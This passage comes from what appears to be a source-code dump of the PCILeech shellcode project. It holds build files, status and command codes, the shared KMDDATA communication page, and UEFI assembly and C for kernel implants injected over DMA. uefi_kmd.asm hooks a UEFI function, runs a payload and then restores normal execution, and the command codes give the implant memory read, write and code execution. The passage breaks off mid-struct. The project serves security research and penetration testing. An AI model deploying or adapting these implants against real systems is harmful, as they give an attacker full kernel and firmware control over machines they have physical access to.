<ClCompile Include=\"fbsdx64_common.c\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n    <ClCompile Include=\"wx64_stage3_c.c\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n    <ClCompile Include=\"lx64_vfs.c\">\n      <Filter>Source Files\\vfs</Filter>\n    </ClCompile>\n    <ClCompile Include=\"macos_vfs.c\">\n      <Filter>Source Files\\vfs</Filter>\n    </ClCompile>\n    <ClCompile Include=\"wx64_vfs.c\">\n      <Filter>Source Files\\vfs</Filter>\n    </ClCompile>\n    <ClCompile Include=\"uefi_common.c\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n    <ClCompile Include=\"uefi_kmd_c.c\">\n      <Filter>Source Files\\kmd_core</Filter>\n    </ClCompile>\n    <ClCompile Include=\"uefi_textout.c\">\n      <Filter>Source Files\\test</Filter>\n    </ClCompile>\n    <ClCompile Include=\"uefi_winload_ntos_kmd_c.c\">\n      <Filter>Source Files\\exec</Filter>\n    </ClCompile>\n    <ClCompile Include=\"uefi_winload_ntos_patch.c\">\n      <Filter>Source Files\\exec</Filter>\n    </ClCompile>\n    <ClCompile Include=\"wx64_umd_exec_c.c\">\n      <Filter>Source Files\\umd_exec</Filter>\n    </ClCompile>\n    <ClCompile Include=\"lx64_exec_root.c\">\n      <Filter>Source Files\\exec</Filter>\n    </ClCompile>\n  </ItemGroup>\n  <ItemGroup>\n    <None Include=\"lx64_common_a.asm\">\n      <Filter>Source Files</Filter>\n    </None>\n    <None Include=\"wx64_common_a.asm\">\n      <Filter>Source Files</Filter>\n    </None>\n    <None Include=\"wx64_pageinfo.asm\">\n      <Filter>Source Files\\page</Filter>\n    </None>\n    <None Include=\"lx64_stage2.asm\">\n      <Filter>Source Files\\kmd_core</Filter>\n    </None>\n    <None Include=\"lx64_stage3.asm\">\n      <Filter>Source Files\\kmd_core</Filter>\n    </None>\n    <None Include=\"lx64_stage3_pre.asm\">\n      <Filter>Source Files\\kmd_core</Filter>\n    </None>\n    <None Include=\"wx64_stage1.asm\">\n      <Filter>Source Files\\kmd_core</Filter>\n    </None>\n    <None Include=\"wx64_stage2.asm\">\n      <Filter>Source Files\\kmd_core</Filter>\n    </None>\n    <None Include=\"wx64_stage3.asm\">\n      <Filter>Source Files\\kmd_core</Filter>\n    </None>\n    <None Include=\"wx64_stage3_pre.asm\">\n      <Filter>Source Files\\kmd_core</Filter>\n    </None>\n    <None Include=\"wx64_exec_user.asm\">\n      <Filter>Source Files\\exec</Filter>\n    </None>\n    <None Include=\"wx64_psblue.asm\">\n      <Filter>Source Files\\exec</Filter>\n    </None>\n    <None Include=\"wx64_stage2_hal.asm\">\n      <Filter>Source Files\\kmd_core</Filter>\n    </None>\n    <None Include=\"macos_common_a.asm\">\n      <Filter>Source Files</Filter>\n    </None>\n    <None Include=\"macos_stage2.asm\">\n      <Filter>Source Files\\kmd_core</Filter>\n    </None>\n    <None Include=\"macos_stage3.asm\">\n      <Filter>Source Files\\kmd_core</Filter>\n    </None>\n    <None Include=\"fbsdx64_stage2.asm\">\n      <Filter>Source Files\\kmd_core</Filter>\n    </None>\n    <None Include=\"fbsdx64_stage3.asm\">\n      <Filter>Source Files\\kmd_core</Filter>\n    </None>\n    <None Include=\"fbsdx64_common_a.asm\">\n      <Filter>Source Files</Filter>\n    </None>\n    <None Include=\"lx64_stage2_efi.asm\">\n      <Filter>Source Files\\kmd_core</Filter>\n    </None>\n    <None Include=\"uefi_common_a.asm\">\n      <Filter>Source Files</Filter>\n    </None>\n    <None Include=\"uefi_kmd.asm\">\n      <Filter>Source Files\\kmd_core</Filter>\n    </None>\n    <None Include=\"uefi_winload_ntos_kmd.asm\">\n      <Filter>Source Files\\exec</Filter>\n    </None>\n    <None Include=\"wx64_umd_exec.asm\">\n      <Filter>Source Files\\umd_exec</Filter>\n    </None>\n    <None Include=\"wx64_stage23_vmm.asm\">\n      <Filter>Source Files\\kmd_core</Filter>\n    </None>\n    <None Include=\"wx64_stage23_vmm3.asm\">\n      <Filter>Source Files\\kmd_core</Filter>\n    </None>\n  </ItemGroup>\n  <ItemGroup>\n    <ClInclude Include=\"lx64_common.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n    <ClInclude Include=\"wx64_common.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n    <ClInclude Include=\"macos_common.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n    <ClInclude Include=\"statuscodes.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n    <ClInclude Include=\"fbsdx64_common.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n    <ClInclude Include=\"uefi_common.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n  </ItemGroup>\n  <ItemGroup>\n    <Text Include=\"info_kmd_core.txt\">\n      <Filter>Source Files\\kmd_core</Filter>\n    </Text>\n  </ItemGroup>\n</Project>"
  },
  {
    "path": "pcileech_shellcode/pcileech_shellcode.vcxproj.user",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project ToolsVersion=\"14.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\n  <PropertyGroup />\n</Project>"
  },
  {
    "path": "pcileech_shellcode/statuscodes.h",
    "content": "// statuscodes_common.h : status codes for non-windows kernel implants.\n//\n// Author: Ulf Frisk, pcileech@frizk.net\n//\n\n#ifndef __STATUSCODES_H__\n#define __STATUSCODES_H__\n\n#define STATUS_SUCCESS\t\t\t\t\t\t0x00000000\n#define STATUS_FAIL_BASE\t\t\t\t\t0xf0000000\n#define STATUS_FAIL_FUNCTION_LOOKUP\t\t\t0xf0000001\n#define STATUS_FAIL_FILE_CANNOT_OPEN\t\t0xf0000002\n#define STATUS_FAIL_FILE_SIZE\t\t\t\t0xf0000003\n#define STATUS_FAIL_INPPARAMS_BAD\t\t\t0xf0000004\n#define STATUS_FAIL_ACTION\t\t\t\t\t0xf0000005\n#define STATUS_FAIL_SIGNATURE_NOT_FOUND\t\t0xf0000006\n#define STATUS_FAIL_OUTOFMEMORY\t\t\t\t0xf0000007\n#define STATUS_FAIL_MEMORYMAP_NOT_FOUND\t\t0xf0000008\n#define STATUS_FAIL_FILE_READWRITE\t\t\t0xf0000009\n#define STATUS_FAIL_PCILEECH_CORE\t\t\t0xf000000a\n#define STATUS_FAIL_NOT_IMPLEMENTED\t\t\t0xf000000b\n\n#define KMD_CMD_VOID\t\t\t\t\t\t0xffff\n#define KMD_CMD_COMPLETED\t\t\t\t\t0\n#define KMD_CMD_READ\t\t\t\t\t\t1\n#define KMD_CMD_WRITE\t\t\t\t\t\t2\n#define KMD_CMD_TERMINATE\t\t\t\t\t3\n#define KMD_CMD_MEM_INFO\t\t\t\t\t4\n#define KMD_CMD_EXEC\t\t\t\t\t\t5\n#define KMD_CMD_READ_VA\t\t\t\t\t\t6\n#define KMD_CMD_WRITE_VA\t\t\t\t\t7\n#define KMD_CMD_EXEC_EXTENDED\t\t\t\t8\n\n#endif /* __STATUSCODES_H__ */\n"
  },
  {
    "path": "pcileech_shellcode/uefi_common.c",
    "content": "// uefi_common.c : support functions used by UEFI x64 KMDs started by stage3 EXEC.\n// Compatible with UEFI x64.\n//\n// (c) Ulf Frisk, 2017\n// Author: Ulf Frisk, pcileech@frizk.net\n//\n#include \"uefi_common.h\"\n"
  },
  {
    "path": "pcileech_shellcode/uefi_common.h",
    "content": "// uefi_common.h : declarations of commonly used shellcode functions\n// Compatible with UEFI.\n//\n// Author: Ulf Frisk, pcileech@frizk.net\n//\n\n#ifndef __UEFI_COMMON_H__\n#define __UEFI_COMMON_H__\n\n#include \"statuscodes.h\"\n\n#undef memset\n\ntypedef void\t\t\t\t\tVOID, *PVOID;\ntypedef int\t\t\t\t\t\tBOOL, *PBOOL;\ntypedef unsigned char\t\t\tBYTE, *PBYTE;\ntypedef char\t\t\t\t\tCHAR, *PCHAR, *LPSTR;\ntypedef unsigned short\t\t\tWCHAR, *PWCHAR;\ntypedef unsigned short\t\t\tWORD, *PWORD;\ntypedef unsigned long\t\t\tDWORD, *PDWORD, LONG;\ntypedef __int64\t\t\t\t\tLONGLONG;\ntypedef unsigned __int64\t\tQWORD, *PQWORD, ULONGLONG;\ntypedef void\t\t\t\t\t*HANDLE;\ntypedef unsigned long\t\t\tSTATUS;\n#define NULL\t\t\t\t\t((void *)0)\n#define MAX_PATH\t\t\t\t260\n#define TRUE\t\t\t\t\t1\n#define FALSE\t\t\t\t\t0\n#define UNREFERENCED_PARAMETER(P) (P)\n#define LOOKUP_FUNCTION(pk, szFn) (SysVCall(pk->AddrKallsymsLookupName, szFn))\n#define min(a, b)\t\t\t\t((a < b) ? a : b)\n#define max(a, b)\t\t\t\t((a > b) ? a : b)\n\n/*\n* KMD DATA struct. This struct must be contained in a 4096 byte section (page).\n* This page/struct is used to communicate between the inserted kernel code and\n* the pcileech program.\n* VNR: 003\n*/\ntypedef struct tdKMDDATA {\n\tQWORD MAGIC;\t\t\t\t\t// [0x000] magic number 0x0ff11337711333377.\n\tQWORD AddrKernelBase;\t\t\t// [0x008] pre-filled by stage2, virtual address of kernel header (WINDOWS/MACOS).\n\tQWORD AddrKallsymsLookupName;\t// [0x010] pre-filled by stage2, virtual address of kallsyms_lookup_name (LINUX).\n\tQWORD DMASizeBuffer;\t\t\t// [0x018] size of DMA buffer.\n\tQWORD DMAAddrPhysical;\t\t\t// [0x020] physical address of DMA buffer.\n\tQWORD DMAAddrVirtual;\t\t\t// [0x028] virtual address of DMA buffer.\n\tQWORD _status;\t\t\t\t\t// [0x030] status of operation\n\tQWORD _result;\t\t\t\t\t// [0x038] result of operation TRUE|FALSE\n\tQWORD _address;\t\t\t\t\t// [0x040] address to operate on.\n\tQWORD _size;\t\t\t\t\t// [0x048] size of operation / data in DMA buffer.\n\tQWORD OperatingSystem;\t\t\t// [0x050] operating system type\n\tQWORD ReservedKMD[8];\t\t\t// [0x058] reserved for specific kmd data (dependant on KMD version).\n\tQWORD ReservedFutureUse1[13];\t// [0x098] reserved for future use.\n\tQWORD dataInExtraLength;\t\t// [0x100] length of extra in-data.\n\tQWORD dataInExtraOffset;\t\t// [0x108] offset from DMAAddrPhysical/DMAAddrVirtual.\n\tQWORD dataInExtraLengthMax;\t\t// [0x110] maximum length of extra in-data. \n\tQWORD dataInConsoleBuffer;\t\t// [0x118] physical address of 1-page console buffer.\n\tQWORD dataIn[28];\t\t\t\t// [0x120]\n\tQWORD dataOutExtraLength;\t\t// [0x200] length of extra out-data.\n\tQWORD dataOutExtraOffset;\t\t// [0x208] offset from DMAAddrPhysical/DMAAddrVirtual.\n\tQWORD dataOutExtraLengthMax;\t// [0x210] maximum length of extra out-data. \n\tQWORD dataOutConsoleBuffer;\t\t// [0x218] physical address of 1-page console buffer.\n\tQWORD dataOut[28];\t\t\t\t// [0x220]\n\tPVOID fn[32];\t\t\t\t\t// [0x300] used by shellcode to store function pointers.\n\tCHAR dataInStr[MAX_PATH];\t\t// [0x400] string in-data\n\tCHAR ReservedFutureUse2[252];\n\tCHAR dataOutStr[MAX_PATH];\t\t// [0x600] string out-data\n\tCHAR ReservedFutureUse3[252];\n\tQWORD ReservedFutureUse4[255];\t// [0x800]\n\tQWORD _op;\t\t\t\t\t\t// [0xFF8] (op is last 8 bytes in 4k-page)\n} KMDDATA, *PKMDDATA;\n\n//-------------------------------------------------------------------------------\n// UEFI functionality below:\n//-------------------------------------------------------------------------------\n\ntypedef struct _EFI_GUID {\n\tDWORD d;\n\tWORD w[2];\n\tBYTE b[8];\n} EFI_GUID;\n\nextern QWORD GetMemoryMap(\n\tQWORD *MemoryMapSize,\n\tQWORD *MemoryMap,\n\tQWORD *MapKey,\n\tQWORD *DescriptorSize,\n\tQWORD *DescriptorVersion);\n\nextern QWORD AllocatePages(\n\tQWORD Type,\n\tQWORD MemoryType,\n\tQWORD Pages,\n\tQWORD *Memory);\n\nextern QWORD FreePages(\n\tQWORD Memory,\n\tQWORD Pages);\n\nextern VOID SetMem(\n\tQWORD *Buffer,\n\tQWORD Size,\n\tQWORD Value);\n\nextern VOID CopyMem(\n\tVOID *Destination,\n\tVOID *Source,\n\tQWORD Length);\n\nextern QWORD LocateProtocol(\n\tEFI_GUID *Protocol,\n\tQWORD *Registration,\n\tQWORD **Interface);\n\n#define EFI_SIMPLE_TEXT_INPUT_EX_PROTOCOL_GUID\t{0xdd9e7534,0x7762,0x4698,{0x8c,0x14,0xf5,0x85,0x17,0xa6,0x25,0xaa}}\n#define EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL_GUID\t{0x387477c2,0x69c7,0x11d2,{0x8e,0x39,0x00,0xa0,0xc9,0x69,0x72,0x3b}}\n\n#define EFI_BLACK\t\t\t\t\t0x00\n#define EFI_BLUE\t\t\t\t\t0x01\n#define EFI_GREEN\t\t\t\t\t0x02\n#define EFI_CYAN\t\t\t\t\t0x03\n#define EFI_RED\t\t\t\t\t\t0x04\n#define EFI_MAGENTA\t\t\t\t\t0x05\n#define EFI_BROWN\t\t\t\t\t0x06\n#define EFI_LIGHTGRAY\t\t\t\t0x07\n#define EFI_BRIGHT\t\t\t\t\t0x08\n#define EFI_DARKGRAY\t\t\t\t0x08\n#define EFI_LIGHTBLUE\t\t\t\t0x09\n#define EFI_LIGHTGREEN\t\t\t\t0x0A\n#define EFI_LIGHTCYAN\t\t\t\t0x0B\n#define EFI_LIGHTRED\t\t\t\t0x0C\n#define EFI_LIGHTMAGENTA\t\t\t0x0D\n#define EFI_YELLOW\t\t\t\t\t0x0E\n#define EFI_WHITE\t\t\t\t\t0x0F\n#define EFI_BACKGROUND_BLACK\t\t0x00\n#define EFI_BACKGROUND_BLUE\t\t\t0x10\n#define EFI_BACKGROUND_GREEN\t\t0x20\n#define EFI_BACKGROUND_CYAN\t\t\t0x30\n#define EFI_BACKGROUND_RED\t\t\t0x40\n#define EFI_BACKGROUND_MAGENTA\t\t0x50\n#define EFI_BACKGROUND_BROWN\t\t0x60\n#define EFI_BACKGROUND_LIGHTGRAY\t0x70\n\ntypedef struct _EFI_SIMPLE_TEXT_INPUT_EX_PROTOCOL {\n\tQWORD Reset;\n\tQWORD ReadKeyStrokeEx;\n\tQWORD WaitForKeyEx;\n\tQWORD SetState;\n\tQWORD RegisterKeyNotify;\n\tQWORD UnregisterKeyNotify;\n} EFI_SIMPLE_TEXT_INPUT_EX_PROTOCOL;\n\ntypedef struct {\n\tDWORD MaxMode;\n\t// current settings\n\tDWORD Mode;\n\tDWORD Attribute;\n\tDWORD CursorColumn;\n\tDWORD CursorRow;\n\tBOOL CursorVisible;\n} SIMPLE_TEXT_OUTPUT_MODE;\n\ntypedef struct _EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL {\n\tQWORD(*Reset)(QWORD *This, QWORD *ExtendedVerification);\n\tQWORD(*OutputString)(QWORD *This, WCHAR *String);\n\tQWORD(*TestString)(QWORD *This, WCHAR *String);\n\tQWORD(*QueryMode)(QWORD *This, QWORD ModeNumber, QWORD *Columns, QWORD *Rows);\n\tQWORD(*SetMode)(QWORD *This, QWORD ModeNumber);\n\tQWORD(*SetAttribute)(QWORD *This, QWORD Attribute);\n\tQWORD(*ClearScreen)(QWORD *This);\n\tQWORD(*SetCursorPosition)(QWORD *This, QWORD Column, QWORD Row);\n\tQWORD(*EnableCursor)(QWORD *This, QWORD Visible);\n\tSIMPLE_TEXT_OUTPUT_MODE *Mode;\n} EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL;\n\n//-------------------------------------------------------------------------------\n// PE / Windows defines below:\n//-------------------------------------------------------------------------------\n\n#define IMAGE_DIRECTORY_ENTRY_EXPORT        0\t\t\t// Export Directory\n#define IMAGE_DOS_SIGNATURE                 0x5A4D      // MZ\n#define IMAGE_NT_SIGNATURE                  0x00004550  // PE00\n#define IMAGE_NUMBEROF_DIRECTORY_ENTRIES    16\n#define PIMAGE_NT_HEADERS\t\t\t\t\tPIMAGE_NT_HEADERS64\n\ntypedef struct _IMAGE_DOS_HEADER {\n\tWORD   e_magic;\n\tWORD   e_cblp;\n\tWORD   e_cp;\n\tWORD   e_crlc;\n\tWORD   e_cparhdr;\n\tWORD   e_minalloc;\n\tWORD   e_maxalloc;\n\tWORD   e_ss;\n\tWORD   e_sp;\n\tWORD   e_csum;\n\tWORD   e_ip;\n\tWORD   e_cs;\n\tWORD   e_lfarlc;\n\tWORD   e_ovno;\n\tWORD   e_res[4];\n\tWORD   e_oemid;\n\tWORD   e_oeminfo;\n\tWORD   e_res2[10];\n\tLONG   e_lfanew;\n} IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER;\n\ntypedef struct _IMAGE_EXPORT_DIRECTORY {\n\tDWORD   Characteristics;\n\tDWORD   TimeDateStamp;\n\tWORD    MajorVersion;\n\tWORD    MinorVersion;\n\tDWORD   Name;\n\tDWORD   Base;\n\tDWORD   NumberOfFunctions;\n\tDWORD   NumberOfNames;\n\tDWORD   AddressOfFunctions;\n\tDWORD   AddressOfNames;\n\tDWORD   AddressOfNameOrdinals;\n} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;\n\ntypedef struct _IMAGE_FILE_HEADER {\n\tWORD    Machine;\n\tWORD    NumberOfSections;\n\tDWORD   TimeDateStamp;\n\tDWORD   PointerToSymbolTable;\n\tDWORD   NumberOfSymbols;\n\tWORD    SizeOfOptionalHeader;\n\tWORD    Characteristics;\n} IMAGE_FILE_HEADER, *PIMAGE_FILE_HEADER;\n\ntypedef struct _IMAGE_DATA_DIRECTORY {\n\tDWORD   VirtualAddress;\n\tDWORD   Size;\n} IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY;\n\ntypedef struct _IMAGE_OPTIONAL_HEADER64 {\n\tWORD        Magic;\n\tBYTE        MajorLinkerVersion;\n\tBYTE        MinorLinkerVersion;\n\tDWORD       SizeOfCode;\n\tDWORD       SizeOfInitializedData;\n\tDWORD       SizeOfUninitializedData;\n\tDWORD       AddressOfEntryPoint;\n\tDWORD       BaseOfCode;\n\tULONGLONG   ImageBase;\n\tDWORD       SectionAlignment;\n\tDWORD       FileAlignment;\n\tWORD        MajorOperatingSystemVersion;\n\tWORD        MinorOperatingSystemVersion;\n\tWORD        MajorImageVersion;\n\tWORD        MinorImageVersion;\n\tWORD        MajorSubsystemVersion;\n\tWORD        MinorSubsystemVersion;\n\tDWORD       Win32VersionValue;\n\tDWORD       SizeOfImage;\n\tDWORD       SizeOfHeaders;\n\tDWORD       CheckSum;\n\tWORD        Subsystem;\n\tWORD        DllCharacteristics;\n\tULONGLONG   SizeOfStackReserve;\n\tULONGLONG   SizeOfStackCommit;\n\tULONGLONG   SizeOfHeapReserve;\n\tULONGLONG   SizeOfHeapCommit;\n\tDWORD       LoaderFlags;\n\tDWORD       NumberOfRvaAndSizes;\n\tIMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];\n} IMAGE_OPTIONAL_HEADER64, *PIMAGE_OPTIONAL_HEADER64;\n\ntypedef struct _IMAGE_NT_HEADERS64 {\n\tDWORD Signature;\n\tIMAGE_FILE_HEADER FileHeader;\n\tIMAGE_OPTIONAL_HEADER64 OptionalHeader;\n} IMAGE_NT_HEADERS64, *PIMAGE_NT_HEADERS64;\n\n#define IMAGE_SIZEOF_SHORT_NAME              8\n\ntypedef struct _IMAGE_SECTION_HEADER {\n\tBYTE    Name[IMAGE_SIZEOF_SHORT_NAME];\n\tunion {\n\t\tDWORD   PhysicalAddress;\n\t\tDWORD   VirtualSize;\n\t} Misc;\n\tDWORD   VirtualAddress;\n\tDWORD   SizeOfRawData;\n\tDWORD   PointerToRawData;\n\tDWORD   PointerToRelocations;\n\tDWORD   PointerToLinenumbers;\n\tWORD    NumberOfRelocations;\n\tWORD    NumberOfLinenumbers;\n\tDWORD   Characteristics;\n} IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER;\n\n#endif /* __UEFI_COMMON_H__ */\n"
  },
  {
    "path": "pcileech_shellcode/uefi_common_a.asm",
    "content": "; uefi_common_a.asm : assembly to receive execution from stage3 exec command.\n; Compatible with UEFI x64.\n;\n; (c) Ulf Frisk, 2017\n; Author: Ulf Frisk, pcileech@frizk.net\n;\n\n; -------------------------------------\n; Prototypes\n; -------------------------------------\nEXTRN c_EntryPoint:NEAR\n\n; -------------------------------------\n; Code\n; -------------------------------------\n.CODE\n\nmain PROC\n\t; STORE address of IBI SYST to use when making future\n\t; function calls from c-code.\n\tMOV rax, rcx\t\t\t; pk\n\tADD rax, 058h\t\t\t; ReservedKMD (addr of IBI SYST)\n\tMOV rax, [rax]\n\tMOV [addr_UEFI_IBI_SYST], eax\n\t; set up stack and call into c-code.\n\tPUSH rsi\n\tMOV rsi, rsp\n\tAND rsp, 0FFFFFFFFFFFFFFF0h\n\tSUB rsp, 020h\n\tCALL c_EntryPoint\n\tMOV rsp, rsi\n\tPOP rsi\n\tRET\nmain ENDP\n\naddr_UEFI_IBI_SYST\t\t\tdd 00000000h\n\nEFI_BOOT_SERVICES_GenericJMP PROC\n\tMOV eax, [addr_UEFI_IBI_SYST]\t\t; EFI_SYSTEM_TABLE\n\tADD rax, 60h\t\t\t\t\t\t; offset to *BootServices\n\tMOV rax, [rax]\t\t\t\t\t\t; EFI_BOOT_SERVICES\n\tADD rax, r10\t\t\t\t\t\t; offset to ????\n\tMOV rax, [rax]\n\tJMP rax\t\t\t\t\t\t\t\t; JMP to intended target\nEFI_BOOT_SERVICES_GenericJMP ENDP\n\nGetMemoryMap PROC\n\tMOV r10, 38h\n\tJMP EFI_BOOT_SERVICES_GenericJMP\nGetMemoryMap ENDP\n\nSetMem PROC\n\tMOV r10, 168h\n\tJMP EFI_BOOT_SERVICES_GenericJMP\nSetMem ENDP\n\nCopyMem PROC\n\tMOV r10, 160h\n\tJMP EFI_BOOT_SERVICES_GenericJMP\nCopyMem ENDP\n\nSetWatchdogTimer PROC\n\tMOV r10, 100h\n\tJMP EFI_BOOT_SERVICES_GenericJMP\nSetWatchdogTimer ENDP\n\nAllocatePages PROC\n\tMOV r10, 28h\n\tJMP EFI_BOOT_SERVICES_GenericJMP\nAllocatePages ENDP\n\nFreePages PROC\n\tMOV r10, 30h\n\tJMP EFI_BOOT_SERVICES_GenericJMP\nFreePages ENDP\n\nLocateProtocol PROC\n\tMOV r10, 140h\n\tJMP EFI_BOOT_SERVICES_GenericJMP\nLocateProtocol ENDP\n\nEND\n"
  },
  {
    "path": "pcileech_shellcode/uefi_kmd.asm",
    "content": "; uefi_kmd.asm : assembly to receive execution from hooked UEFI\n; function call. Compatible with UEFI x64.\n;\n; - Execution environment is to be x64 in long mode with 1:1 identity mapping\n;   between physical/virtual memory. Furthermode only 1 CPU should be running.\n; - KMDDATA page is the 4k page _before_ this page.\n; - UEFI Calling convention is same as Windows.\n;\n; (c) Ulf Frisk, 2017\n; Author: Ulf Frisk, pcileech@frizk.net\n;\n\nEXTRN c_EntryPoint:NEAR\n\n.CODE\n\nmain PROC\n\t; ----------------------------------------------------\n\t; 0: INITIAL OP AND VARIABLE MEMORY LOCATIONS\n\t; ----------------------------------------------------\n\tJMP main_start \n\tdata_filler\t\t\t\t\tdb 00h, 00h\t\t; 2 bytes offset (2 bytes long)\n\taddr_UEFI_IBI_SYST\t\t\tdd 00000000h\t; 4 bytes offset (4 bytes long)\n\taddr_HOOK\t\t\t\t\tdd 00000000h\t; 8 bytes offset (4 bytes long)\n\tdata_HOOK_ORIG\t\t\t\tdd 00000000h\t; 12 bytes offset (4 bytes long)\n\t; ----------------------------------------------------\n\t; 1: SAVE / PUSH REGISTERS TO STACK\n\t; ----------------------------------------------------\n\tmain_start:\n\tPUSH rbx\n\tPUSH rcx\n\tPUSH rdx\n\tPUSH rdi\n\tPUSH rsi\n\tPUSH r8\n\tPUSH r9\n\tPUSH r10\n\tPUSH r11\n\tPUSH r12\n\tPUSH r13\n\tPUSH r14\n\tPUSH r15\n\tPUSH rbp\n\t; ----------------------------------------------------\n\t; 2: RESTORE HOOK TO ORIGINAL STATE\n\t; ----------------------------------------------------\n\tMOV eax, [addr_HOOK]\n\tMOV ecx, [data_HOOK_ORIG]\n\tMOV [rax], ecx\n\t; ----------------------------------------------------\n\t; 3: CALL INTO MAIN PAYLOAD CODE\n\t; ----------------------------------------------------\n\tLEA rcx, main\n\tSUB rcx, 1000h\n\tMOV edx, [addr_UEFI_IBI_SYST]\n\tMOV rbp, rsp\n\tSUB rsp, 20h\n\tAND rsp, -10h\n\tCALL c_EntryPoint\n\tMOV rsp, rbp\n\t; ----------------------------------------------------\n\t; 4: RESTORE REGISTERS AND RETURN EXECUTION TO NORMAL.\n\t; ----------------------------------------------------\n\tPOP rbp\n\tPOP r15\n\tPOP r14\n\tPOP r13\n\tPOP r12\n\tPOP r11\n\tPOP r10\n\tPOP r9\n\tPOP r8\n\tPOP rsi\n\tPOP rdi\n\tPOP rdx\n\tPOP rcx\n\tPOP rbx\n\tMOV eax, [data_HOOK_ORIG]\n\tJMP rax\nmain ENDP\n\nEFI_BOOT_SERVICES_GenericJMP PROC\n\tMOV eax, [addr_UEFI_IBI_SYST]\t\t; EFI_SYSTEM_TABLE\n\tADD rax, 60h\t\t\t\t\t\t; offset to *BootServices\n\tMOV rax, [rax]\t\t\t\t\t\t; EFI_BOOT_SERVICES\n\tADD rax, r10\t\t\t\t\t\t; offset to ????\n\tMOV rax, [rax]\n\tJMP rax\t\t\t\t\t\t\t\t; JMP to intended target\nEFI_BOOT_SERVICES_GenericJMP ENDP\n\nGetMemoryMap PROC\n\tMOV r10, 38h\n\tJMP EFI_BOOT_SERVICES_GenericJMP\nGetMemoryMap ENDP\n\nSetMem PROC\n\tMOV r10, 168h\n\tJMP EFI_BOOT_SERVICES_GenericJMP\nSetMem ENDP\n\nCopyMem PROC\n\tMOV r10, 160h\n\tJMP EFI_BOOT_SERVICES_GenericJMP\nCopyMem ENDP\n\nSetWatchdogTimer PROC\n\tMOV r10, 100h\n\tJMP EFI_BOOT_SERVICES_GenericJMP\nSetWatchdogTimer ENDP\n\nAllocatePages PROC\n\tMOV r10, 28h\n\tJMP EFI_BOOT_SERVICES_GenericJMP\nAllocatePages ENDP\n\nFreePages PROC\n\tMOV r10, 30h\n\tJMP EFI_BOOT_SERVICES_GenericJMP\nFreePages ENDP\n\nEND\n"
  },
  {
    "path": "pcileech_shellcode/uefi_kmd_c.c",
    "content": "// uefi_kmd_c.c : stage3 main shellcode.\n// Compatible with UEFI x64.\n//\n// (c) Ulf Frisk, 2017\n// Author: Ulf Frisk, pcileech@frizk.net\n//\n\ntypedef void\t\t\t\t\tVOID, *PVOID;\ntypedef int\t\t\t\t\t\tBOOL, *PBOOL;\ntypedef unsigned char\t\t\tBYTE, *PBYTE;\ntypedef char\t\t\t\t\tCHAR, *PCHAR;\ntypedef unsigned short\t\t\tWORD, *PWORD;\ntypedef unsigned long\t\t\tDWORD, *PDWORD;\ntypedef unsigned __int64\t\tQWORD, *PQWORD;\ntypedef void\t\t\t\t\t*HANDLE;\n#define MAX_PATH\t\t\t\t260\n#define TRUE\t\t\t\t\t1\n#define FALSE\t\t\t\t\t0\n#define MAX(a, b)\t\t\t\t((a > b) ? a : b)\n\n//-------------------------------------------------------------------------------\n// EFI related defines below.\n//-------------------------------------------------------------------------------\n\nenum {\n\tEfiReservedMemoryType = 0,\n\tEfiLoaderCode = 1,\n\tEfiLoaderData = 2,\n\tEfiBootServicesCode = 3,\n\tEfiBootServicesData = 4,\n\tEfiRuntimeServicesCode = 5,\n\tEfiRuntimeServicesData = 6,\n\tEfiConventionalMemory = 7,\n\tEfiUnusableMemory = 8,\n\tEfiACPIReclaimMemory = 9,\n\tEfiACPIMemoryNVS = 10,\n\tEfiMemoryMappedIO = 11,\n\tEfiMemoryMappedIOPortSpace = 12,\n\tEfiPalCode = 13,\n\tEfiMaxMemoryType = 14\n};\n\ntypedef struct tdEFI_MEMORY_DESCRIPTOR {\n\tDWORD Type;\n\tDWORD Pad;\n\tQWORD PhysicalStart;\n\tQWORD VirtualStart;\n\tQWORD NumberOfPages;\n\tQWORD Attribute;\n} EFI_MEMORY_DESCRIPTOR, *PEFI_MEMORY_DESCRIPTOR;\n\n//-------------------------------------------------------------------------------\n// Assembly functions below.\n//-------------------------------------------------------------------------------\n\nextern QWORD GetMemoryMap(\n\tQWORD *MemoryMapSize,\n\tQWORD *MemoryMap,\n\tQWORD *MapKey,\n\tQWORD *DescriptorSize,\n\tQWORD *DescriptorVersion);\n\nextern QWORD AllocatePages(\n\tQWORD Type,\n\tQWORD MemoryType,\n\tQWORD Pages,\n\tQWORD *Memory);\n\nextern QWORD FreePages(\n\tQWORD Memory,\n\tQWORD Pages);\n\nextern VOID SetMem(\n\tQWORD *Buffer,\n\tQWORD Size,\n\tQWORD Value);\n\nextern VOID CopyMem(\n\tQWORD *Destination,\n\tQWORD *Source,\n\tQWORD Length);\n\nextern QWORD SetWatchdogTimer(\n\tQWORD Timeout,\n\tQWORD WatchdogCode,\n\tQWORD DataSize,\n\tQWORD *WatchdogData);\n\n//-------------------------------------------------------------------------------\n// General defines below.\n//-------------------------------------------------------------------------------\n\ntypedef struct tdPHYSICAL_MEMORY_RANGE {\n\tQWORD BaseAddress;\n\tQWORD NumberOfBytes;\n} PHYSICAL_MEMORY_RANGE, *PPHYSICAL_MEMORY_RANGE;\n\n#define KMDDATA_OPERATING_SYSTEM_UEFI\t\t\t0x10\n\n/*\n* KMD DATA struct. This struct must be contained in a 4096 byte section (page).\n* This page/struct is used to communicate between the inserted kernel code and\n* the pcileech program.\n* VNR: 003\n*/\ntypedef struct tdKMDDATA {\n\tQWORD MAGIC;\t\t\t\t\t// [0x000] 